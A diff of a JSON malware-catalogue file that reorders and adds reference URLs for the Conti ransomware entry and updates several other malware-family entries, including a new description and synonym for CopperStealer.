"https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", + "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf", + "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", + "https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://github.com/whichbuffer/Conti-Ransomware-IOC", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", + "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", + "https://www.connectwise.com/resources/conti-profile", + "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://share.vx-underground.org/Conti/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", - "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", - "https://www.youtube.com/watch?v=hmaWy9QIC7c", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", - "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", - "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", - "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", - "https://intel471.com/blog/shipping-companies-ransomware-credentials", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", - "https://www.youtube.com/watch?v=uORuVVQzZ0A", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", - "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", - "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", - "https://www.youtube.com/watch?v=cYx7sQRbjGA", - "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", - "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", - "https://github.com/whichbuffer/Conti-Ransomware-IOC", - "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", - "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", - "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.ic3.gov/Media/News/2021/210521.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", - "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", - "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://github.com/cdong1012/ContiUnpacker", - "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", - "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", - "https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", - "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", - "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", - "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", - "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", - "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", - "https://unit42.paloaltonetworks.com/conti-ransomware-gang/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", - "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", - "https://www.connectwise.com/resources/conti-profile", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://www.ic3.gov/Media/News/2021/210521.pdf", + "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", + "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", + "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", + "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", + "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", + "https://cocomelonc.github.io/malware/2023/02/10/malware-analysis-8.html", + "https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", + "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", + "https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.threatstop.com/blog/conti-ransomware-source-code-leaked", + "https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://www.youtube.com/watch?v=hmaWy9QIC7c", + "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", + "https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", + "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", + "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", + "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love" + "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", + "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://github.com/TheParmak/conti-leaks-englished", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://www.youtube.com/watch?v=uORuVVQzZ0A", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", + "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", + "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", + "https://twitter.com/TheDFIRReport/status/1498642512935800833", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", + "https://www.mbsd.jp/research/20210413/conti-ransomware/", + "https://github.com/cdong1012/ContiUnpacker", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://twitter.com/AltShiftPrtScn/status/1423188974298861571", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", + "https://share.vx-underground.org/Conti/", + "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", + "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", + "https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf" ], "synonyms": [], "type": [] @@ -18318,8 +19427,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee", - "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", "https://content.fireeye.com/apt/rpt-apt38", + "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", "https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks" ], "synonyms": [ @@ -18340,27 +19449,20 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "63be3d30-0c8d-4c0a-8eee-6c96880734cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9afa9b7e-e2c1-4725-8d8d-cec7933cc63b", "value": "CookieBag" }, { - "description": "", + "description": "According to PCRIsk, CopperStealer, also known as Mingloa, is a malicious program designed to steal sensitive/personal information. It also has the capability to cause chain infections (i.e., download/install additional malware).\r\n\r\nSignificant activity of CopperStealer has been observed in Brazil, India, Indonesia, Pakistan, and the Philippines. At the time of research, this malware had been noted being spread via websites offering illegal activation tools (\"cracks\") for licensed software products.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.copper_stealer", "https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft", "https://www.trendmicro.com/en_us/research/22/h/copperstealer-distributes-malicious-chromium-browser-extension-steal-cryptocurrencies.html" ], - "synonyms": [], + "synonyms": [ + "Mingloa" + ], "type": [] }, "uuid": "87afcc5d-27f6-4427-b43c-4621a66e5041", @@ -18371,8 +19473,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot", - "https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/", "https://www.crowdstrike.com/blog/ecrime-ecosystem/", + "https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf" ], "synonyms": [], @@ -18386,11 +19488,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn", - "https://blog.alyac.co.kr/2105", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content", "https://www.symantec.com/security-center/writeup/2018-021216-4405-99#technicaldescription", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + 